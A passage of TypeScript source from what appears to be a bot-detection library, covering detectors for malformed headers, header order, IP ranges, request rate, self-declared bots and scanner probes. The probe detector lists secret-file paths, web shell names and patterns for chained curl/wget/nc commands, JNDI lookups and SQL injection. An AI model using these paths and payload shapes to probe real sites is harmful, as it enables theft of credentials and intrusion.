results.push({\n detector: \"header-integrity\",\n summary: \"Request carries both Content-Length and Transfer-Encoding\",\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"scanner\",\n deterministicBasis:\n \"RFC 9112 §6.1 states that a message with both Content-Length and Transfer-Encoding must be treated as malformed, because the two disagree about where the body ends. Every HTTP implementation removes one before sending; a request carrying both was framed by hand, and the disagreement it creates between two servers in a chain is the mechanism of request smuggling.\",\n metadata: { contentLength: headers[\"content-length\"]?.slice(0, 32), transferEncoding: headers[\"transfer-encoding\"]?.slice(0, 32) },\n });\n }\n\n const repeated = repeatedHeaders(ctx.facts.headerOrder);\n if (repeated.size > 0) {\n const malformed = MALFORMED_IF_REPEATED.filter((name) => repeated.has(name));\n if (malformed.length > 0) {\n results.push({\n detector: \"header-integrity\",\n summary: `Request repeats the ${malformed.join(\" and \")} header, which may appear only once`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"scanner\",\n deterministicBasis:\n \"RFC 9112 §3.2 and §6.3 require a recipient to reject a request with more than one Host or Content-Length field, because either makes the request target or the body length ambiguous. No client library or browser produces this; a request that does was assembled field by field.\",\n metadata: { headers: malformed },\n });\n }\n\n // The weaker set, and only over HTTP/1.x — HTTP/2 permits a client to split\n // some fields across several frames, so a duplicate there is not the client's\n // doing.\n const singletons = httpVersion === undefined || httpVersion.startsWith(\"1\") ? SINGLETON_HEADERS.filter((name) => repeated.has(name)) : [];\n if (singletons.length > 0) {\n results.push({\n detector: \"header-integrity\",\n summary: `Request sends ${singletons.join(\", \")} more than once, which no browser does`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.6,\n botClass: \"http-client\",\n metadata: { headers: singletons },\n });\n }\n }\n\n // An HTTP/1.1 request with no `Host` is as clear a protocol violation as the two\n // above — RFC 9112 §3.2 requires one, and requires a server to answer 400 without\n // it — and it is deliberately *not* checked here. The rule this detector holds to\n // is that **no argument from absence may reach the `certain` tier**: a header\n // missing from the facts we were handed is not a header missing from the request,\n // and a caller who builds facts from a log line, a WAF event or a partial adapter\n // would otherwise manufacture proof against every request in the file. The two\n // checks above survive that test because both reason from what is *present*.\n\n if (!claimsBrowser(ctx.ua)) return results.length > 0 ? results : undefined;\n\n // Everything below is an argument from absence, so it is only available when\n // the header set we were handed is the one the client actually sent.\n if (!absenceIsMeaningful(ctx)) return results.length > 0 ? results : undefined;\n\n // --- Everything below applies only to clients claiming to be a browser. ---\n if (headers[\"accept\"] === undefined) {\n results.push({\n detector: \"header-integrity\",\n summary: \"Client claims to be a browser but sent no Accept header\",\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.7,\n botClass: \"impersonator\",\n // One stripping intermediary removes the whole cluster; see `Evidence.family`.\n family: \"stripped-headers\",\n metadata: { browser: ctx.ua.browser },\n });\n }\n\n if (checkLanguage && headers[\"accept-language\"] === undefined) {\n results.push({\n detector: \"header-integrity\",\n summary: \"Client claims to be a browser but sent no Accept-Language header\",\n direction: \"bot\",\n // Deliberately moderate: several privacy-hardening extensions and the Tor\n // Browser's stricter modes remove this header from real people's requests.\n certainty: \"moderate\",\n botClass: \"impersonator\",\n // One stripping intermediary removes the whole cluster; see `Evidence.family`.\n family: \"stripped-headers\",\n metadata: { browser: ctx.ua.browser },\n });\n }\n\n const encoding = headers[\"accept-encoding\"];\n if (encoding === undefined) {\n results.push({\n detector: \"header-integrity\",\n summary: \"Client claims to be a browser but sent no Accept-Encoding header\",\n direction: \"bot\",\n certainty: \"moderate\",\n botClass: \"impersonator\",\n // One stripping intermediary removes the whole cluster; see `Evidence.family`.\n family: \"stripped-headers\",\n metadata: { browser: ctx.ua.browser },\n });\n } else if (!encoding.includes(\"gzip\") && !encoding.includes(\"br\") && !encoding.includes(\"*\")) {\n results.push({\n detector: \"header-integrity\",\n summary: `Client claims to be a browser but advertises no common compression: \"${encoding.slice(0, 60)}\"`,\n direction: \"bot\",\n certainty: \"moderate\",\n botClass: \"impersonator\",\n family: \"stripped-headers\",\n metadata: { acceptEncoding: encoding.slice(0, 120) },\n });\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n","import { claimsBrowser } from \"../internal/ua.js\";\nimport { shortHash } from \"../internal/crypto.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\n/**\n * One ordering rule that holds for every mainstream browser and is broken by common\n * HTTP libraries. Each is stated as \"`before` must not appear after `after`\".\n */\ninterface OrderInvariant {\n before: string;\n after: string;\n why: string;\n weight: number;\n}\n\n/**\n * Invariants verified against Chrome, Firefox, Safari and Edge on HTTP/1.1. Kept\n * deliberately few: the value is in rules that no browser breaks, not in modelling\n * every browser's exact sequence, which changes between releases and would turn\n * this detector into a source of false positives on next month's Chrome.\n */\nconst INVARIANTS: readonly OrderInvariant[] = [\n {\n before: \"accept\",\n after: \"accept-encoding\",\n why: \"Every mainstream browser sends Accept before Accept-Encoding; several HTTP libraries (notably python-requests) send them the other way round.\",\n weight: 0.4,\n },\n {\n before: \"user-agent\",\n after: \"accept\",\n why: \"Browsers place User-Agent ahead of the content-negotiation headers.\",\n weight: 0.25,\n },\n];\n\nexport interface HeaderOrderOptions {\n /** Include the order fingerprint in evidence metadata for cross-actor correlation. Default true. */\n emitFingerprint?: boolean;\n}\n\n/**\n * Reads the *order* in which headers arrived.\n *\n * Header order is a genuine fingerprint: a browser's network stack emits a fixed\n * sequence that has nothing to do with what the page requested, and it is one of the\n * few properties a scraper cannot fix by copying a User-Agent string. HTTP client\n * libraries have their own, very different, and equally fixed orders.\n *\n * The reason this detector stays weak is structural rather than a lack of\n * confidence: **anything between the client and this process may reorder headers.**\n * HTTP/2 and HTTP/3 do not preserve a meaningful order at all, some CDNs normalise\n * it, and some proxies rebuild the request wholesale. So it is checked only on\n * HTTP/1.x, only when the transport actually exposed an order, and it contributes a\n * nudge rather than a conclusion.\n */\nexport function headerOrderDetector(options: HeaderOrderOptions = {}): Detector {\n const emitFingerprint = options.emitFingerprint ?? true;\n\n return {\n id: \"header-order\",\n description: \"Compares the order headers arrived in against orderings every mainstream browser respects\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n const order = ctx.facts.headerOrder;\n const version = ctx.facts.httpVersion;\n // HTTP/2+ carries no meaningful ordering, and an absent order means the\n // adapter could not supply one. Both are \"no data\", not \"suspicious\".\n if (order.length === 0) return undefined;\n if (version !== undefined && !version.startsWith(\"1\")) return undefined;\n if (!claimsBrowser(ctx.ua)) return undefined;\n\n // A single pass recording only the four positions the rules below need. The\n // previous version built a Map of every header and then hashed the whole order\n // to a fingerprint — on every request, before knowing whether it had anything\n // to say. On traffic from real browsers, which is the overwhelming majority,\n // none of that work was ever used, and the HMAC alone made this detector cost\n // more than the other twelve put together.\n let hostAt = -1;\n let acceptAt = -1;\n let encodingAt = -1;\n let agentAt = -1;\n for (let i = 0; i < order.length; i++) {\n switch (order[i]) {\n case \"host\": if (hostAt === -1) hostAt = i; break;\n case \"accept\": if (acceptAt === -1) acceptAt = i; break;\n case \"accept-encoding\": if (encodingAt === -1) encodingAt = i; break;\n case \"user-agent\": if (agentAt === -1) agentAt = i; break;\n default: break;\n }\n }\n\n const violations: OrderInvariant[] = [];\n if (acceptAt !== -1 && encodingAt !== -1 && acceptAt > encodingAt) violations.push(INVARIANTS[0]!);\n if (agentAt !== -1 && acceptAt !== -1 && agentAt > acceptAt) violations.push(INVARIANTS[1]!);\n const hostNotFirst = hostAt > 0;\n\n if (violations.length === 0 && !hostNotFirst) return undefined;\n\n // Only now is the fingerprint worth computing.\n const fingerprint = emitFingerprint ? headerOrderFingerprint(order) : undefined;\n const results: Evidence[] = [];\n\n for (const invariant of violations) {\n results.push({\n detector: \"header-order\",\n summary: `Header order puts ${invariant.after} before ${invariant.before}, which no mainstream browser does`,\n direction: \"bot\",\n certainty: \"moderate\",\n weight: invariant.weight,\n botClass: \"impersonator\",\n // Whatever reordered the headers reordered all of them: one cause.\n family: \"reordered-headers\",\n metadata: {\n reason: invariant.why,\n order: order.slice(0, 24),\n ...(fingerprint ? { fingerprint } : {}),\n },\n });\n }\n\n // Browsers send Host first on HTTP/1.1. A request that does not is either\n // hand-assembled or was rebuilt by an intermediary — hence only `weak`.\n if (hostNotFirst) {\n results.push({\n detector: \"header-order\",\n summary: `HTTP/1.1 request did not send Host first (sent \"${order[0]}\")`,\n direction: \"bot\",\n certainty: \"weak\",\n botClass: \"impersonator\",\n family: \"reordered-headers\",\n metadata: { first: order[0], ...(fingerprint ? { fingerprint } : {}) },\n });\n }\n\n return results;\n },\n };\n}\n\n/**\n * Stable fingerprint of a header order, for correlating one actor across rotating\n * addresses. Exported because it is useful well outside this detector — an actor\n * that changes IP every request but keeps the same order fingerprint is one actor.\n */\nexport function headerOrderFingerprint(order: readonly string[]): string {\n return shortHash(order.join(\",\"));\n}\n","import type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\nexport interface IpIntelligenceOptions {\n /** Weight for a datacenter-range match. Default 0.3 (`moderate`). */\n datacenterWeight?: number;\n}\n\n/**\n * What do we know about where this request came from?\n *\n * Two range sets are consulted, and they are treated very differently.\n *\n * **`denylist`** is `certain`, and the justification is not technical. You configured\n * it. The library is not inferring anything; it is carrying out an instruction you\n * gave about addresses you have decided about. Certainty here means \"this is a\n * decision, not a guess\" — and it means a bad entry in your denylist blocks real\n * people, which is exactly why the range is required to be explicit rather than\n * inherited from a feed by default.\n *\n * **`datacenter`** is `moderate` and always will be. Hosting-provider address space\n * is where scrapers live, and it is *also* where every consumer VPN, every corporate\n * egress gateway, every Tor exit, every privacy relay like iCloud Private Relay, and\n * a growing share of mobile traffic lives. Treating \"came from AWS\" as proof of\n * automation blocks a meaningful slice of ordinary users, disproportionately the\n * privacy-conscious ones. As corroboration alongside a header failure it is\n * genuinely useful; alone it is close to worthless.\n *\n * No range data ships with this library. Address-to-operator mappings go stale\n * within weeks, and a stale mapping is a false positive with a long half-life —\n * supply your own, from a source you refresh and can audit.\n */\nexport function ipIntelligenceDetector(options: IpIntelligenceOptions = {}): Detector {\n const datacenterWeight = options.datacenterWeight ?? 0.3;\n\n return {\n id: \"ip-intelligence\",\n description: \"Matches the client address against operator-supplied denylist and datacenter ranges\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n const results: Evidence[] = [];\n\n const denied = ctx.ranges.get(\"denylist\")?.match(ctx.facts.ip);\n if (denied !== undefined) {\n results.push({\n detector: \"ip-intelligence\",\n summary: `Client address is inside the configured denylist range ${denied}`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"unknown\",\n deterministicBasis: `The operator of this service configured ${denied} as denied. This is not an inference about the client's behaviour — it is the execution of an explicit local policy decision.`,\n metadata: { range: denied, list: \"denylist\" },\n });\n }\n\n const datacenter = ctx.ranges.get(\"datacenter\")?.match(ctx.facts.ip);\n if (datacenter !== undefined) {\n results.push({\n detector: \"ip-intelligence\",\n summary: `Client address is inside a known datacenter range (${datacenter})`,\n direction: \"bot\",\n certainty: \"moderate\",\n weight: datacenterWeight,\n botClass: \"unknown\",\n metadata: { range: datacenter, list: \"datacenter\" },\n });\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n","import type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\n/**\n * What is this request *asking for*?\n *\n * Every other detector here reads the client. This one reads the request target, and\n * it exists because of a gap the rest of the library cannot close: the scanner that\n * does not announce itself. `self-identified` catches sqlmap and Nikto because they\n * say so, and a great deal of hostile traffic does say so. The rest arrives wearing a\n * copied Chrome User-Agent, and from the headers alone it is indistinguishable from a\n * person — until you look at what it asked for, which is `/.env`, then\n * `/.git/config`, then `/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`.\n *\n * Those paths are not obscure corners of a site. They are entries in a wordlist. No\n * link points at them, no menu leads to them, and no person types them — the traffic\n * that requests them is running a list against every address it can reach.\n *\n * **Why this stops at `strong` and never reaches `certain`.** The library's rule is\n * that `certain` evidence must admit no benign explanation, and a *request target*\n * always admits one: a URL is client-supplied text, and the client supplying it might\n * be a security engineer testing their own site from a laptop, a researcher with a\n * bug-bounty scope, or a monitoring check somebody wrote at three in the morning.\n * Those are people, and the correct response to them is a challenge, not a closed\n * door. A trap path is different — it is unreachable *by construction*, which is\n * exactly the property a wordlist entry lacks.\n *\n * **What it does not do.** It reads one request at a time. A scanner walking a\n * wordlist produces one of these observations per request rather than an escalating\n * series, because nothing here remembers that the same actor asked for `/.env` a\n * moment ago — the detectors that watch an actor over time are `rate-anomaly`,\n * `cadence` and `crawl-breadth`, and enumeration shows up there. Keeping this one\n * stateless is what lets it run unchanged over a log file in `replay`.\n *\n * **The one thing to configure.** The `platform` tier below is a list of admin and\n * login paths that are probes on most sites and are the *front door* on the sites\n * that run those platforms. If you run WordPress, `/wp-login.php` is where your\n * authors sign in, and this detector will report each of them as a probe. Add such\n * paths to `ignore`, or to the engine's `ignorePaths`, before turning any of this into\n * a rule. The tier is capped at `moderate` precisely so that forgetting costs a\n * tag rather than a door.\n */\nexport interface ProbeSignatureOptions {\n /**\n * Paths this site genuinely serves, exempted from the platform tier. Matched as\n * prefixes, so `/wp-admin` covers everything beneath it.\n */\n ignore?: readonly string[];\n /** Additional exact paths or prefixes to treat as exploit-tier probes. */\n extraPaths?: readonly string[];\n}\n\n/**\n * Tier one: targets and payloads with no legitimate reading.\n *\n * A request for a credential file, a version-control directory or a known\n * remote-execution endpoint is not a mis-click. Neither is a query string carrying a\n * JNDI lookup or a SQL union. These are matched as prefixes on the *normalised* path,\n * which matters: `facts.path` has already been percent-decoded once and had its `..`\n * segments resolved, so `/..%2f..%2fetc/passwd` arrives here as `/etc/passwd` and the\n * table does not need an entry for every spelling.\n */\nconst EXPLOIT_PATHS: readonly string[] = [\n \"/.env\",\n \"/.git\",\n \"/.svn\",\n \"/.hg\",\n \"/.aws\",\n \"/.ssh\",\n \"/.npmrc\",\n \"/.bash_history\",\n \"/etc/passwd\",\n \"/etc/shadow\",\n \"/proc/self/environ\",\n \"/vendor/phpunit\",\n \"/_ignition/execute-solution\",\n \"/actuator/env\",\n \"/actuator/heapdump\",\n \"/solr/admin/info\",\n \"/manager/html\",\n \"/jenkins/script\",\n \"/console/login\",\n \"/cgi-bin/\",\n \"/boaform/\",\n \"/hudson\",\n \"/druid/indexer\",\n \"/_all_dbs\",\n \"/config.json.bak\",\n \"/wp-config.php.bak\",\n \"/telescope/requests\",\n \"/debug/default/view\",\n \"/idx_config\",\n \"/geoserver/web\",\n];\n\n/** Filenames that are only ever fetched by something looking for a mistake. */\n// `.pem` is deliberately absent: plenty of sites publish a CA or server certificate\n// for people to download, and the file extension alone cannot tell that apart from a\n// leaked private key.\nconst EXPLOIT_SUFFIXES: readonly string[] = [\".sql\", \".sql.gz\", \".bak\", \".old\", \".swp\", \"id_rsa\", \".kdbx\", \"credentials.json\", \"shell.php\", \"wso.php\", \"alfa.php\"];\n\n/**\n * Tier two: real front doors on the platforms that use them.\n *\n * Everything here is a probe on a site that does not run the platform and an ordinary\n * page on a site that does — hence `moderate`, hence the `ignore` option.\n */\nconst PLATFORM_PATHS: readonly string[] = [\n \"/wp-login.php\",\n \"/wp-admin\",\n \"/wp-content/plugins\",\n \"/xmlrpc.php\",\n \"/administrator\",\n \"/admin.php\",\n \"/phpmyadmin\",\n \"/pma\",\n \"/adminer.php\",\n \"/phpinfo.php\",\n \"/info.php\",\n \"/server-status\",\n \"/server-info\",\n \"/.htaccess\",\n \"/web.config\",\n \"/config.php\",\n \"/backup\",\n \"/dbadmin\",\n \"/mysqladmin\",\n \"/typo3/index.php\",\n \"/api/jsonws/invoke\",\n];\n\n/**\n * Payload shapes in a query value or a path segment.\n *\n * Deliberately narrow, and split by how much of the observation is the payload itself.\n * A generic \"looks like SQL\" pattern fires on a search box — someone looking up\n * `union select` in the documentation of a database — and a generic \"looks like HTML\"\n * pattern fires on a CMS preview and on every forum thread about cross-site\n * scripting. Those are people, reading a site about the thing the pattern describes.\n *\n * So `sql` and `markup` patterns are reported at `moderate` on their own and are\n * promoted to `strong` only when the value also carries **injection punctuation** — a\n * quote, a comment marker, a statement separator — which is the part a person\n * searching for the phrase does not type and the part an injection cannot work\n * without. `always` patterns need no such qualification: nobody searches for a JNDI\n * lookup with a live LDAP URL in it.\n */\ntype PayloadTier = \"always\" | \"sql\" | \"markup\";\n\nconst PAYLOADS: ReadonlyArray<{ pattern: RegExp; what: string; tier: PayloadTier }> = [\n { pattern: /\\$\\{jndi:/i, what: \"a JNDI lookup (Log4Shell)\", tier: \"always\" },\n { pattern: /(?:^|[;&|`])\\s*(?:wget|curl|nc|bash|sh)\\s+/i, what: \"a shell command chained onto a parameter\", tier: \"always\" },\n // Narrow on purpose: a bare `$( )` or a backtick pair appears in any search box on\n // a documentation site. A substitution is only interesting when it is substituting\n // a command.\n { pattern: /[$`]\\(?\\s*(?:cat|ls|id|whoami|uname|curl|wget|nc|sh|bash|python|perl)\\b/i, what: \"a shell substitution around a command\", tier: \"always\" },\n { pattern: /(?:file|php|expect):\\/\\//i, what: \"a non-HTTP URL scheme in a parameter\", tier: \"always\" },\n { pattern: /\\bunion\\s+(?:all\\s+)?select\\b/i, what: \"a SQL UNION SELECT\", tier: \"sql\" },\n { pattern: /\\bor\\s+['\"]?1['\"]?\\s*=\\s*['\"]?1/i, what: \"a SQL tautology\", tier: \"sql\" },\n { pattern: /\\b(?:sleep|pg_sleep|waitfor\\s+delay)\\s*\\(/i, what: \"a SQL time-delay probe\", tier: \"sql\" },\n { pattern: /<script[\\s>]/i, what: \"an inline script tag\", tier: \"markup\" },\n { pattern: /\\bon(?:error|load|mouseover)\\s*=/i, what: \"an inline event handler\", tier: \"markup\" },\n];\n\n/** Quotes, comment markers and separators — the syntax an injection needs and a search does not. */\nconst INJECTION_PUNCTUATION = /['\"]|--\\s|\\/\\*|;|%27|%22/;\n\n/** Methods a browser never issues and a scanner routinely does. */\nconst PROBE_METHODS = new Set([\"TRACE\", \"TRACK\", \"DEBUG\", \"CONNECT\"]);\n\nexport function probeSignatureDetector(options: ProbeSignatureOptions = {}): Detector {\n const ignore = options.ignore ?? [];\n const exploit = options.extraPaths !== undefined ? [...EXPLOIT_PATHS, ...options.extraPaths] : EXPLOIT_PATHS;\n\n return {\n id: \"probe-signature\",\n description: \"Reads the request target for paths, payloads and methods that appear only in scanner wordlists\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n const { path, query, method } = ctx.facts;\n const lowerPath = path.toLowerCase();\n const results: Evidence[] = [];\n\n if (PROBE_METHODS.has(method)) {\n results.push({\n detector: \"probe-signature\",\n summary: `Request method is ${method}, which browsers do not issue and scanners use to fingerprint a server`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.65,\n botClass: \"scanner\",\n metadata: { method },\n });\n }\n\n const hit = exploit.find((entry) => matchesPath(lowerPath, entry)) ?? suffixHit(lowerPath);\n if (hit !== undefined) {\n results.push({\n detector: \"probe-signature\",\n summary: `Requested ${path}, which no link on a site points to and no person types`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.7,\n botClass: \"scanner\",\n family: \"wordlist-probe\",\n metadata: { path: path.slice(0, 120), matched: hit },\n });\n } else if (!ignore.some((entry) => matchesPath(lowerPath, entry.toLowerCase()))) {\n const platform = PLATFORM_PATHS.find((entry) => matchesPath(lowerPath, entry));\n if (platform !== undefined) {\n results.push({\n detector: \"probe-signature\",\n summary: `Requested ${path}, a platform administration path that is a probe on a site not running it`,\n direction: \"bot\",\n // Capped here on purpose: on a site that *does* run the platform, this is\n // the login page and the client is an administrator.\n certainty: \"moderate\",\n weight: 0.3,\n botClass: \"scanner\",\n family: \"wordlist-probe\",\n metadata: { path: path.slice(0, 120), matched: platform, note: \"Add this path to `ignore` if your site serves it\" },\n });\n }\n }\n\n // Payloads are read from the query and from the path, both of which are bounded\n // by `createFacts` before they get here.\n const payload = findPayload(path, query);\n if (payload !== undefined) {\n const proven = payload.tier === \"always\" || INJECTION_PUNCTUATION.test(payload.sample);\n results.push({\n detector: \"probe-signature\",\n summary: `Request carries ${payload.what} in its ${payload.where}`,\n direction: \"bot\",\n certainty: proven ? \"strong\" : \"moderate\",\n weight: proven ? 0.65 : 0.3,\n botClass: \"scanner\",\n metadata: { where: payload.where, sample: payload.sample.slice(0, 120), withInjectionSyntax: proven },\n });\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n\n/**\n * Whether a path is, or is inside, a listed target.\n *\n * The boundary characters are the whole point. A plain `startsWith` makes `/backup`\n * match `/backup-your-data-a-guide`, which is an article, and reports a reader of it\n * as a scanner. Matching only at a segment or extension boundary keeps `/.env.local`\n * and `/.git/config` while leaving ordinary URLs alone.\n */\nfunction matchesPath(lowerPath: string, entry: string): boolean {\n if (!lowerPath.startsWith(entry)) return false;\n if (lowerPath.length === entry.length) return true;\n const next = lowerPath.charCodeAt(entry.length);\n return next === 0x2f /* / */ || next === 0x2e /* . */ || entry.endsWith(\"/\");\n}\n\nfunction suffixHit(lowerPath: string): string | undefined {\n return EXPLOIT_SUFFIXES.find((suffix) => lowerPath.endsWith(suffix));\n}\n\ninterface PayloadHit {\n what: string;\n where: string;\n sample: string;\n tier: PayloadTier;\n}\n\nfunction findPayload(path: string, query: Record<string, string>): PayloadHit | undefined {\n for (const { pattern, what, tier } of PAYLOADS) {\n if (pattern.test(path)) return { what, where: \"path\", sample: path, tier };\n }\n for (const [key, value] of Object.entries(query)) {\n for (const { pattern, what, tier } of PAYLOADS) {\n if (pattern.test(value)) return { what, where: `query parameter \"${key.slice(0, 40)}\"`, sample: value, tier };\n }\n }\n return undefined;\n}\n","import { MAX_TRACKED_ARRIVALS } from \"../state.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\nexport interface RateAnomalyOptions {\n /** Window over which arrivals are counted, ms. Default 10000. */\n windowMs?: number;\n /** Requests in the window above which the rate is worth noting. Default 20. */\n threshold?: number;\n /**\n * Requests in the window above which the rate is well beyond human. Default 30.\n *\n * Both defaults sit under the per-actor timestamp ring's capacity, because the\n * count saturates there — a threshold above it could never be reached, which is a\n * detector that silently never fires. If you raise these, raise them knowing the\n * ceiling, and reach for the `rate-limit` action instead when you need real numbers.\n */\n hardThreshold?: number;\n}\n\n/**\n * How fast is this actor going?\n *\n * Rate is the signal people reach for first and trust the most, and it deserves the\n * least trust of anything in this library. The reason is that the *actor* behind a\n * high rate is frequently not one client: a corporate NAT, a mobile carrier's CGNAT\n * pool, a university, a VPN exit and a shared office all present hundreds of real\n * people as one address. Blocking on rate blocks all of them.\n *\n * So this detector reports and never concludes. Its output tops out at `moderate`,\n * which under the default policy cannot reach a terminal action no matter how\n * extreme the number gets. What high rate is genuinely good for is *corroborating* —\n * a client that already looks like a library and is also pulling 300 requests a\n * minute is a different proposition from either fact alone.\n *\n * If you want rate to actually stop traffic, that is what rate *limiting* is for,\n * and it belongs in the action layer where it applies to everyone equally and\n * recovers on its own. See the `rate-limit` action.\n */\nexport function rateAnomalyDetector(options: RateAnomalyOptions = {}): Detector {\n const windowMs = options.windowMs ?? 10_000;\n const threshold = options.threshold ?? 20;\n const hardThreshold = options.hardThreshold ?? 30;\n // The doc above says to raise these knowing the ceiling. Knowing it is not enough:\n // exceeding it produces a detector that runs on every request and can never fire,\n // and nothing about the running system would ever say so.\n for (const [name, value] of [\n [\"threshold\", threshold],\n [\"hardThreshold\", hardThreshold],\n ] as const) {\n if (value > MAX_TRACKED_ARRIVALS) {\n throw new RangeError(\n `rateAnomalyDetector ${name} of ${value} can never be reached: an actor's arrival count saturates at ${MAX_TRACKED_ARRIVALS}. Use ${MAX_TRACKED_ARRIVALS} or fewer, and reach for the \\`rate-limit\\` action when you need exact counting.`,\n );\n }\n }\n\n return {\n id: \"rate-anomaly\",\n description: \"Counts an actor's arrivals in a short window and reports rates well outside human browsing\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence | undefined {\n const count = ctx.state.requestsWithin(windowMs, ctx.facts.timestamp);\n if (count < threshold) return undefined;\n\n const perSecond = Number((count / (windowMs / 1000)).toFixed(2));\n const extreme = count >= hardThreshold;\n\n return {\n detector: \"rate-anomaly\",\n summary: `${count} requests in ${windowMs / 1000}s (${perSecond}/s) from this actor`,\n direction: \"bot\",\n certainty: extreme ? \"moderate\" : \"weak\",\n // Even at the extreme end the weight is capped well below `strong`: a shared\n // egress address is the single most common explanation for a high number.\n weight: extreme ? 0.4 : 0.2,\n botClass: \"unknown\",\n metadata: {\n count,\n windowMs,\n perSecond,\n // The ring buffer saturates, so a very heavy actor is undercounted. Say so\n // rather than quietly reporting a floor as if it were the true rate.\n undercounted: ctx.state.ringSaturated,\n },\n };\n },\n };\n}\n","import { absenceIsMeaningful } from \"./types.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { BotClass, Evidence } from \"../types.js\";\nimport type { BotCategory } from \"./known-bots.js\";\n\nexport interface SelfIdentifiedOptions {\n /**\n * Categories to report. Removing one does not make its traffic invisible — the\n * behavioural detectors still see it — it only stops this detector naming it.\n */\n categories?: readonly BotCategory[];\n}\n\n/**\n * The client told us what it is.\n *\n * This detector is the backbone of the `certain` tier, and the reason is a point\n * about responsibility rather than about technology. When a request arrives saying\n * `python-requests/2.31.0` or `Googlebot/2.1`, we are not *inferring* anything. We\n * are taking the client at its word. If that word is a lie, the misclassification is\n * the client's doing, not a failure of detection — and no honest client is ever\n * harmed by being believed.\n *\n * That is why a self-declaration can safely gate a terminal action while a much\n * \"smarter\" behavioural inference cannot. The behavioural inference can be wrong\n * about someone who never made any claim at all.\n *\n * Two shapes qualify:\n *\n * - A **known signature** — a token from {@link BOT_SIGNATURES}. Library and headless\n * tokens are conclusive on their own: no browser has ever sent `curl/8.4.0`.\n * - An **unrecognised but self-announcing** UA — contains a word like `bot` or\n * `crawler` *and* publishes a contact URL or email, the long-standing convention\n * for well-behaved crawlers. Either half alone is only suggestive; together they\n * are a declaration.\n */\nexport function selfIdentifiedDetector(options: SelfIdentifiedOptions = {}): Detector {\n const allowed = options.categories ? new Set(options.categories) : undefined;\n\n return {\n id: \"self-identified\",\n description: \"The User-Agent names a known bot, a scripting library, or announces itself as a crawler\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n const results: Evidence[] = [];\n\n for (const signature of ctx.signatureMatches) {\n if (allowed && !allowed.has(signature.category)) continue;\n\n // A signature reaches the `certain` tier only when \"no honest client sends\n // this\" genuinely holds. Where it does not — an embedded webview shipped\n // inside a desktop app — the match is still worth recording and must not be\n // able to deny anyone service.\n const conclusive = signature.conclusive !== false;\n\n results.push({\n detector: \"self-identified\",\n summary: conclusive\n ? `User-Agent identifies ${signature.name}`\n : `User-Agent identifies ${signature.name}, which a person may well be using`,\n direction: \"bot\",\n certainty: conclusive ? \"certain\" : \"weak\",\n ...(conclusive ? {} : { weight: 0.15 }),\n botClass: classFor(signature.category),\n identity: signature.id,\n ...(conclusive\n ? {\n deterministicBasis:\n signature.category === \"library\" || signature.category === \"headless\"\n ? `The product token \"${signature.tokens[0]!}\" is emitted by an HTTP library or an automation runtime and by no browser. Nothing a person does in a browser produces it.`\n : `The client names itself as ${signature.name}. This is a declaration, not an inference: believing a client's own statement about itself cannot misclassify an honest one.`,\n }\n : {}),\n metadata: {\n signatureId: signature.id,\n category: signature.category,\n benign: signature.benign,\n verifiable: signature.verification.kind !== \"none\",\n ...(signature.caveat ? { caveat: signature.caveat } : {}),\n ...(signature.docs ? { docs: signature.docs } : {}),\n },\n });\n }\n\n // Unrecognised self-announcement. New crawlers appear constantly and the\n // database will always lag; the convention they follow does not.\n //\n // What reaches `certain` here is narrower than it looks, and it used to be much\n // wider than intended. The rule is *both* halves — automation announced, and an\n // operator named — but the branch was entered on either half and then decided\n // certainty on the contact alone. So a User-Agent that merely contained a URL or\n // an email became a proven bot: `Mozilla/5.0 … Chrome/122 … Notes/3.1\n // (support@notes.example)` is a person using an application that puts its own\n // support address in the string, and it was reported as a client that \"describes\n // itself as a crawler\" with certainty high enough to deny it service.\n //\n // The `+` convention counts as the announcement in its own right — `+https://…`\n // exists precisely to say \"automation, and here is who runs it\", which is how a\n // crawler that never uses the word \"bot\" still declares itself. A bare URL says\n // no such thing.\n if (results.length === 0 && ctx.ua.shape === \"declared-bot\") {\n // The `+URL` convention announces automation only in a string that is not also\n // a browser. Overcast's iOS app is the case that proves it: the same\n // application fetches podcast feeds *and* opens the links a listener taps, and\n // it sends one User-Agent for both — a complete iOS WebKit string with\n // `+http://overcast.fm/` appended. Treating the convention alone as a\n // declaration reached certainty about a person tapping a link. A rendering\n // engine in the string is what separates an app that also crawls from a\n // crawler; a crawler that means it says so with a word as well.\n const announces = ctx.ua.declaresAutomation || (ctx.ua.usesContactConvention && ctx.ua.engine === undefined);\n const conclusive = announces && ctx.ua.declaresContact;\n\n if (conclusive) {\n results.push({\n detector: \"self-identified\",\n summary: \"User-Agent announces itself as automated and publishes an operator contact\",\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"declared-bot\",\n deterministicBasis:\n \"The client both describes itself as automated and publishes an operator contact, the convention followed by crawlers that expect to be identified. Taken together these are a declaration of intent, not a guess about behaviour.\",\n metadata: { userAgent: ctx.ua.raw.slice(0, 200) },\n });\n } else if (ctx.ua.declaresAutomation) {\n results.push({\n detector: \"self-identified\",\n summary: \"User-Agent contains a crawler-like word but publishes no contact address\",\n direction: \"bot\",\n certainty: \"strong\",\n 